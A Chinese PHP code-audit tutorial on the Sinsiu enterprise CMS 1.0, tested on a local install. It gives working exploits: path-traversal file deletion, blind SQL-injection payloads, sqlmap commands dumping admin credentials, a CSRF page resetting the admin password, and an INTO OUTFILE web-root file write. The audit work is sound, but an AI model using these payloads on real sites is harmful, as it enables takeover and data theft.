PHP代碼審計之入門實戰


系統介紹

CMS名稱:新秀企業網站系統PHP版

官網:www.sinsiu.com

版本:這里國光用的1.0 正式版 (官網最新的版本有毒,網站安裝的時候居然默認使用遠程數據庫???迷之操作 那站長的后台密碼豈不是直接泄露了?疑似遠程數據庫地址:server.sinsiu.net )

下載地址:藍奏雲

Windows下使用PHPStudy可以直接安裝,搭建起來還是很簡單的。

防護策略

雖然這是一個不知名的小系統,但是安全加固還是考慮到的,很多本應該有漏洞的地方均被加固修復了,導致國光我一開始一直碰壁,=,= 廢話不多說,下面直接列舉本次審計碰到的一些坑。

偽造IP注入過濾

思路

首先在后台發現有記錄用戶IP的功能:

哦豁,會不會有傳說中的偽造IP地址注入攻擊呢???使用數據庫監測工具,發現在注冊用戶發表評論的時候。用戶的IP地址也的確被帶入SQL語句中查詢了:

select * from php_safe where saf_ip = '10.211.55.2' and saf_action = 'message' 

VSCode走起,根據關鍵詞來查找相關功能代碼:

include/function.php

//獲取客戶端IP function get_ip() { if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'),'unknown')) { $ip = getenv('HTTP_CLIENT_IP'); }elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'),'unknown')){ $ip = getenv('HTTP_X_FORWARDED_FOR'); }elseif(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'),'unknown')){ $ip = getenv('REMOTE_ADDR'); }elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'],'unknown')){ $ip = $_SERVER['REMOTE_ADDR']; }else{ $ip = '0.0.0.0'; } if(!is_numeric(str_replace('.','',$ip))) { $ip = '0.0.0.0'; } return $ip; } 

結果

獲取IP的關鍵防護代碼:

if(!is_numeric(str_replace('.','',$ip))) { $ip = '0.0.0.0'; } 

獲取到的IP值,去除掉.后如果不是數字類型的話就重置為0.0.0.0 ,撲街,這條思路行不通,趕緊換個思路去

存儲型XSS過濾

思路

網站前台有留言功能,留言就會想到存儲型XSS,2333 嗝:

15797012978745.jpg

結果

定位到留言函數的代碼:

index/module/info_main.php

function add_message() { safe('message'); global $global,$smarty,$lang; $mes_email = post('email'); $mes_type = post('type'); $mes_title = post('title'); $mes_text = post('text'); $mes_show = post('show'); if($mes_email == '' || $mes_type == '' || $mes_title == '' || $mes_text == '') { $info_text = $lang['submit_error_info']; }else{ $mes_add_time = time(); if($mes_show != '2') { $mes_show = '0'; } $obj = new message(); $obj->set_value('mes_user_id',$global['user_id']); $obj->set_value('mes_type',$mes_type); $obj->set_value('mes_email',$mes_email); $obj->set_value('mes_title',$mes_title); $obj->set_value('mes_text',$mes_text); $obj->set_value('mes_add_time',$mes_add_time); $obj->set_value('mes_show',$mes_show); $obj->set_value('mes_lang',S_LANG); $obj->add(); if(intval(get_varia('sentmail'))) { $email_title = '您的網站有了新的留言'; $email_text = "[$mes_type] $mes_title <br /> $mes_text"; call_send_email($email_title,$email_text,$global['user_id'],$mes_email); } $info_text = $lang['submit_message']; } $smarty->assign('info_text',$info_text); $smarty->assign('link_text',$lang['go_back']); $smarty->assign('link_href',url(array('channel'=>'message'))); } 

可以看到前台用戶傳入的數據經過了post()函數,追蹤到post()函數的定義處:

include/function.php

function post($val,$filter = 'strict') { return $filter(isset($_POST[$val])?$_POST[$val]:''); } 

??? 繼續找到strict的定義處:

include/function.php

//嚴格過濾字符串中的危險符號
function strict($str)
{
    if(S_MAGIC_QUOTES_GPC) { $str = stripslashes($str); } $str = str_replace('<','&#60;',$str); $str = str_replace('>','&#62;',$str); $str = str_replace('?','&#63;',$str); $str = str_replace('%','&#37;',$str); $str = str_replace(chr(39),'&#39;',$str); $str = str_replace(chr(34),'&#34;',$str); $str = str_replace(chr(13).chr(10),'<br />',$str); return $str; } 

可以發現 我們的存儲XSS所用到的尖括號完全被過濾掉了:

$str = str_replace('<','&#60;',$str); $str = str_replace('>','&#62;',$str); 

這也導致了 管理員后台可以直接看到XSS Payload ,場面一度非常尷尬:

15797018332062.jpg

用戶評論的核心代碼也被過濾了:

index/module/info_main.php

function add_comment() { safe('comment'); global $global,$smarty,$lang; $channel = post('channel'); $com_page_id = post('page_id'); $com_email = post('email'); $com_rank = post('rank'); $com_text = post('text'); if($channel == '' || $com_page_id == '' || $com_rank == '' || $com_email == '' || $com_text == '') { $info_text = $lang['submit_error_info']; } ... ... } 

存儲XSS 撲gai~

前台用戶CSRF判斷

思路

網站有留言板和文章評論,如何存在CSRF越權的話可以在評論或者留言處貼構造好的CSRF鏈接,來進行CSRF攻擊。23333 感覺穩了!定位到相關功能代碼:

index/module/user/deal.php

function edit_pwd() { safe('edit_pwd'); global $global,$smarty,$lang; $old_pwd = post('old_pwd'); $new_pwd = post('new_pwd'); $re_pwd = post('re_pwd'); if(strlen($old_pwd) < 6 || strlen($old_pwd) > 15 || strlen($new_pwd) < 6 || strlen($new_pwd) > 15 || $new_pwd != $re_pwd) { $info_text = $lang['submit_error_info']; }else{ $use_password = md5($old_pwd); $obj = new users(); $obj->set_where('use_id = '.$global['user_id']); $obj->set_where("use_password = '$use_password'"); if($obj->get_count() > 0) { $use_password = md5($new_pwd); $obj->set_value('use_password',$use_password); ... ... } 

結果

index/moudle/user/deal.php

// 這里需要提供舊密碼
$use_password = md5($old_pwd); $obj = new users(); $obj->set_where('use_id = '.$global['user_id']); $obj->set_where("use_password = '$use_password'"); if($obj->get_count() > 0) 

沒有舊密碼 是不可能改密碼的,所以CSRF攻擊其他用戶的想法GG

可控變量過濾

雖然作為一個CMS,用戶可控變量很多,文章瀏覽等功能不可避免地要進行數據庫操作,但是該系統基本上把所以可控變量都給過濾了。

session 過濾

使用了$filter = 'strict'嚴格模式,關於strict函數細節可以參考文章上面貼的代碼:

include/function.php

function set_session($name,$value,$filter = 'strict') { if(S_SESSION) { $_SESSION[$name] = $filter($value); }else{ setcookie($name,$filter($value)); } } //獲取session function get_session($name,$filter = 'strict') { if(S_SESSION) { return $filter(isset($_SESSION[$name])?$_SESSION[$name]:''); }else{ return $filter(isset($_COOKIE[$name])?$_COOKIE[$name]:''); } } 

cookie過濾

include/function.php

//獲取cookie function get_cookie($name,$filter = 'strict') { return $filter(isset($_COOKIE[$name])?$_COOKIE[$name]:''); } 

管理員登錄過濾

admin/module/info_main.php

function admin_login() { safe('admin_login'); global $smarty,$lang; $username = substr(post('username'),0,30); $password = substr(post('password'),0,30); if($username == '' || $password == '') { unset_session('admin_username'); unset_session('admin_password'); $info_text = '對不起,用戶名和密碼不能為空'; $link_text = '返回重新登錄'; } ... ... } 

普通用戶登錄過濾

index/module/info_main.php

function user_login() { safe('user_login'); global $global,$smarty,$lang; $info_text = post('info_text'); $link_text = post('link_text'); $link_href = post('link_href'); $username = post('username'); $password = post('password'); ... ... } 

大致就這么多防護了,接下來開始真正地來進行漏洞挖掘。

漏洞分析

后台任意文件刪除

漏洞分析

漏洞文件:admin/deal.php

deal.php

function del_file() { $path = post('path'); $flag = false; $dir[0] = 'data/backup/'; $dir[1] = 'images/'; $dir[2] = 'resource/'; for($i = 0; $i < count($dir); $i ++) { if(substr($path,0,strlen($dir[$i])) == $dir[$i]) { $flag = true; } } if($flag) { if(unlink($path)) { $result = 1; } } echo isset($result)?$result:0; } 

這里核心看這處代碼:

if(substr($path,0,strlen($dir[$i])) == $dir[$i]) { $flag = true; } 

這是個刪除文件的函數定義,刪除文件用了白名單策略,必須只能刪除:

$dir[0] = 'data/backup/'; $dir[1] = 'images/'; $dir[2] = 'resource/'; 

這3個目錄下的文件,使用了substr$path的0位置開始往后判斷,只校驗了$path前面是否在白名單內部,但是卻忽略了 白名單后面的路徑可能使用../的這種形式來穿越目錄。

漏洞利用

15796571811634.jpg

抓取刪除 這個操作的數據包,具體如下:

POST /admin.php?/deal/ HTTP/1.1 Host: 10.211.55.12 Content-Length: 33 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: */* Origin: http://10.211.55.12 Referer: http://10.211.55.12/admin.php?/file/mod-pic_lists/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7 Cookie: PHPSESSID=7e2ofb2sbe5p0bhv8rcgfg5n84 Connection: close cmd=del_file&path=images/../1.php 

通過在白名單目錄后面使用../可以實現跨目錄任意文件刪除,刪除成功返回1

15796572815670.jpg

后台盲注

后台盲注有好幾處點,雖然可控變量基本上都被過濾了,但是卻忽略 數字型盲注 不需要閉合單引號就可以直接拼接SQL語句導致盲注的產生,下面就找一個典型的例子來分析。

漏洞分析

15797452089782.jpg

刪除管理員賬號這里存在數字型盲注,下面來看下細節代碼:

admin/module/basic/deal.php

function del_admin() { global $global; $adm_id = post('id'); $obj = new admin(); $obj->set_where('adm_id = '.$global['admin_id']); $a = $obj->get_one(); $obj->set_where(''); $obj->set_where("adm_id = $adm_id"); $b = $obj->get_one(); if($obj->get_count()) { if($a['adm_grade'] < $b['adm_grade']) { $obj->del(); set_cookie('result',1); } } echo 1; } 

比較關鍵的兩處代碼是:

// admin_id 用戶可控 雖然經過post過濾了 $adm_id = post('adm_id'); // post過濾后直接帶入數據庫操作 $obj->set_where('adm_id = '.$global['admin_id']); 

為了進一步分析,使用Burpsuite來抓取修改密碼的數據包,具體如下:

POST /admin.php?/deal/dir-basic/ HTTP/1.1 Host: 10.211.55.12 Content-Length: 18 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: */* Origin: http://10.211.55.12 Referer: http://10.211.55.12/admin.php?/basic/mod-admin_list/index.html Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7 Cookie: PHPSESSID=7e2ofb2sbe5p0bhv8rcgfg5n84; user_username=111111; user_password=96e79218965eb72c92a549dd5a330112 Connection: close cmd=del_admin&id=2 

因為代碼里面只返回1 echo 1; 所以這里注入的話只能使用數字型基於時間的盲注了:

15797454141692.jpg

數據庫監控工具來看一下后台執行了什么樣的SQL語句:

select * from php_admin where adm_id = 3 

先延時再驗證一下:

cmd=del_admin&id=3 and sleep(10) 

后台SQL語句:

select * from php_admin where adm_id = 3 and sleep(10) 

然鵝測試發現並沒有延時反應,因為這里是刪除用戶,當這個用戶的ID被刪掉以后,用and語句前提是兩邊都是真才可以,所以這里得把and換成or語句:

15797457421829.jpg

延時貌似誤差比較大,實際延時的時長大概是理論延時的兩倍左右。

既然知道有注入的話 ,下面開始驗證吧。

漏洞利用

手工驗證

手工延時盲注是個細心的活,下面只舉個基本例子:

# 判斷當前數據庫長度 # 當前數據庫長度是否為 1 沒有延時 不是 cmd=del_admin&id=3 or if(length(database())=1,sleep(3),0) # 延時 表明當前數據庫長度為 6 cmd=del_admin&id=3 or if(length(database())=6,sleep(3),0) # 當前數據庫第1個字母的ascii碼是否為 97 沒有延時 不是 cmd=del_admin&id=3 or if(ascii(mid(database(),1,1))=97,sleep(3),0) # 延時 表明當前數據庫第1個字母的ascii碼為 115 即 's' cmd=del_admin&id=3 or if(ascii(mid(database(),1,1))=115,sleep(3),0) # 當前數據庫第2個字母的ascii碼是否為 97 沒有延時 不是 cmd=del_admin&id=3 or if(ascii(mid(database(),2,1))=97,sleep(3),0) # 延時 表明當前數據庫第2個字母的ascii碼為 105 即 'i' cmd=del_admin&id=3 or if(ascii(mid(database(),2,1))=105,sleep(3),0) ... 

SQLMap注入

為啥不自己寫腳本來注入呢???因為SQLMap本身很強大,這里不需要造輪子,很多人不了解SQLMap,認為現在基本上SQLMap注入不出來啥,實際上還是他們不夠了解,SQLMap靈活程度非常高,遠比自己造輪子寫腳本快的多。下面直接上關鍵的用法參數吧:

sqlmap -u "http://10.211.55.12//admin.php?/deal/dir-basic/" --cookie="PHPSESSID=7e2ofb2sbe5p0bhv8rcgfg5n84;" --data="cmd=del_admin&id=3" -p "id" --technique=T --random-agent -v 3 --tamper="between" -D 'sinsiu' -T 'php_admin' -C 'adm_id,adm_username,adm_password' --dump 

注入結果

15797524747117.jpg

細節

-u "http://10.211.55.12//admin.php?/deal/dir-basic/" 

實際上也可以 保存數據包為文本,然后-r,文本里面手動標 星號

--cookie="PHPSESSID=7e2ofb2sbe5p0bhv8rcgfg5n84;" 

因為這個是后台盲注,所以這里需要Cookie認證一下

--data="cmd=del_admin&id=3" 

手動寫入POST數據包,將請求中提供對應發送的數據隱式地將 GET 改成 POST

-p "id" 

手動指出存在注入的參數

--technique=T 

手動指定時間型盲注的檢測技術,SQLMap默認檢測技術為 BEUSTQ

--random-agent 

好習慣,隨機user-agent

-v 3 

國光自己的習慣,顯示已注入的 payloads,國光習慣看SQLMap的payload,看多有助於學習先進的手工注入技術

--tamper="between" 

因為這個網站過濾了尖括號,所以介個插件,作用是NOT BETWEEN 0 AND #替換大於號>BETWEEN # AND #替換等於號=

-D 'sinsiu' -T 'php_admin' -C 'adm_id,adm_username,adm_password' --dump 

日常操作,這里大家應該很熟悉了,國光就不再BB了

管理員CSRF

漏洞分析

修改管理員密碼,沒有驗證就密碼,直接提供新密碼,而且沒有Token驗證來防御CSRF攻擊:

admin/moudle/basic/deal.php

function edit_admin() { global $global,$smarty; $adm_id = post('adm_id'); $adm_password = post('adm_password'); $re_password = post('re_password'); $obj = new admin(); $obj->set_where('adm_id = '.$global['admin_id']); $a = $obj->get_one(); $obj->set_where(''); $obj->set_where("adm_id = $adm_id"); $b = $obj->get_one(); $success = 0; if($obj->get_count()) { if($a['adm_id'] == $b['adm_id'] || $a['adm_grade'] < $b['adm_grade']) { if(strlen($adm_password) >= 5 && $adm_password == $re_password) { $obj->set_value('adm_password',md5($adm_password)); $obj->edit(); $success = 1; } } } if($success) { $info_text = '修改密碼成功'; $link_text = '返回列表頁'; $link_href = url(array('channel'=>'basic','mod'=>'admin_list')); }else{ $info_text = '修改密碼失敗'; $link_text = '返回上一頁'; $link_href = url(array('channel'=>'basic','mod'=>'admin_edit')); } $smarty->assign('info_text',$info_text); $smarty->assign('link_text',$link_text); $smarty->assign('link_href',$link_href); } 

同理添加管理員也是這樣:

admin/moudle/basic/deal.php

function add_admin() { global $global,$smarty; $adm_username = post('adm_username'); $adm_password = post('adm_password'); $re_password = post('re_password'); $obj = new admin(); $obj->set_where('adm_id = '.$global['admin_id']); $one = $obj->get_one(); $adm_grade = $one['adm_grade'] + 1; $obj->set_where(''); $obj->set_where("adm_username = '$adm_username'"); if($obj->get_count() == 0 && strlen($adm_username) >= 5 && strlen($adm_password) >= 5 && $adm_password == $re_password) { $obj->set_value('adm_username',$adm_username); $obj->set_value('adm_password',md5($adm_password)); $obj->set_value('adm_grade',$adm_grade); $obj->add(); $info_text = '添加管理員帳號成功'; $link_text = '返回列表頁'; $link_href = url(array('channel'=>'basic','mod'=>'admin_list')); }else{ $info_text = '添加管理員帳號失敗'; $link_text = '返回上一頁'; $link_href = url(array('channel'=>'basic','mod'=>'admin_add')); } $smarty->assign('info_text',$info_text); $smarty->assign('link_text',$link_text); $smarty->assign('link_href',$link_href); }

漏洞利用

修改管理員密碼為:Passw0rd 構造以下HTML頁面:

<html> <body> <script>history.pushState('', '', '/')</script> <form action="http://10.211.55.12/admin.php?/basic/index.html" method="POST"> <input type="hidden" name="cmd" value="edit&#95;admin" /> <input type="hidden" name="adm&#95;id" value="1" /> <input type="hidden" name="adm&#95;password" value="Passw0rd" /> <input type="hidden" name="re&#95;password" value="Passw0rd" /> </form> <script> document.forms[0].submit(); </script> </body> </html> 

下面實際來模擬一下攻擊場景

攻擊者將上述html保存到外網上,引誘管理員點擊,然后自動觸發CSRF攻擊:

15797656055943.jpg

管理員在后台 使用當前瀏覽器去訪問這個地址的時候就中招了,這個html里面的修改密碼表單會自動觸發,GG

前台盲注

前面漏洞要么需要拿到后台,要么需要社工來CSRF攻擊管理員,需要一些運氣成分,但是這個洞就不需要了,這個洞產生點在網站的前台,可以直接進行注入。

漏洞分析

index/module/search_main.php

<?php function module_search_main() { global $global,$smarty; $global['key'] = rawurldecode($global['key']); $obj = new goods(); $obj->set_field('goo_id,goo_title,goo_x_img'); $obj->set_where("goo_title like '%" . $global['key'] . "%'"); $obj->set_where('goo_channel_id = '.get_id('channel','cha_code','goods')); $len = get_varia('img_list_len'); $obj->set_page_size($len ? $len : 12); $obj->set_page_num($global['page']); $sheet = $obj->get_sheet(); for($i = 0; $i < count($sheet); $i ++) { $sheet[$i]['short_title'] = cut_str($sheet[$i]['goo_title'],10); } set_link($obj->get_page_sum()); $smarty->assign('search',$sheet); } //新秀 ?> 

這里首先進行URL解碼:

$global['key'] = rawurldecode($global['key']); 

然后就直接帶入數據庫查詢了:

$obj->set_where("goo_title like '%" . $global['key'] . "%'"); 

???不明白為啥這里大意了,明明其他地方過濾都很嚴格的…

漏洞利用

知道代碼僅僅經過一次URL解碼,所以嘗試一下使用%23,解碼后就是#來閉合后面的語句:

http://10.211.55.12/?/search/index.html/key-%27%20and%20sleep(2)%20%23/ 

%27and%20sleep(2)%20%23URL解碼為:' and sleep(2) # 使用MySQL監控工具查看日志:

select goo_id,goo_title,goo_x_img from php_goods where goo_lang = 'zh-cn' and goo_show = 1 and goo_title like '%' and sleep(2) #%' and goo_channel_id = 1 order by goo_top desc,goo_index desc,goo_id desc 

成功了,那么接下來使用SQLMap來進注入吧。

15797679999023.jpg

sqlmap -u "http://10.211.55.12/?/search/index.html/key-%27*%20%23/" -v 3 --technique=T -D 'sinsiu' -T 'php_admin' -C 'adm_id,adm_username,adm_password' --dump 

因為這里key-%27*%20%23 國光我使用*給SQLMap預留好了,然后SQLMap直接注入即可:

15797700768141.jpg

理論情況

這部分純理論測試,實際情況下一般沒寫入權限,但是還是記錄一下吧。如果有大佬可以審計出后台getshell的話 歡迎評論區留言 這樣就可以一條龍攻擊了~~~

MySQL新版下secure-file-priv字段用來限制MySQL對目錄的操作權限。先查看一下本地我們的MySQL是否有作限制

mysql> show global variables like '%secure%'; +------------------+-------+ | Variable_name | Value | +------------------+-------+ | secure_auth | OFF | | secure_file_priv | NULL | +------------------+-------+ 2 rows in set (0.00 sec) 
  • secure_file_priv的值為null ,表示限制mysqld 不允許導入導出

  • secure_file_priv的值為/tmp/ ,表示限制mysqld 的導入導出只能發生在/tmp/目錄下

  • secure_file_priv的值沒有具體值時,表示不對mysqld 的導入|導出做限制

為了進行理論上漏洞測試,下面來修改一下MySQL配置文件,修改mysql.ini 文件,在[mysqld] 下加入:

secure_file_priv= 

重啟MySQL服務即可生效:

mysql> show global variables like '%secure%'; +------------------+-------+ | Variable_name | Value | +------------------+-------+ | secure_auth | OFF | | secure_file_priv | | +------------------+-------+ 2 rows in set (0.00 sec) 

寫shell需要網站爆物理路徑才可以,當代碼沒有檢測異常操作的時候,遇到錯誤會直接報錯泄露物理路徑,這個CMS信息泄露的地方有很多,下面隨便找幾處:

http://localhost/admin/admin.php  http://localhost/admin/deal.php  http://localhost/admin/info.php  http://localhost/include/common.php  http://localhost/index/info.php  http://localhost/index/user.php ... 

瀏覽器直接訪問一個試試看:

1579754352182.jpg

獲取到網站的物理路徑為:

C:\phpStudy\PHPTutorial\WWW\ 

OK,那么可以直接開始寫shell了:

http://10.211.55.12/?/search/index.html/key-%27union select 1,2,'<?php phpinfo();?>' into outfile 'C:\\phpStudy\\PHPTutorial\\WWW\\gg.php'%20%23/ 

shell寫入目錄為網站根目錄下,文件名為gg.php

15797700065507.jpg

總結

因為第一次做審計,所以寫的比較啰嗦了,日后再審計其他系統的分析文章的話 會盡量簡潔明了的。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM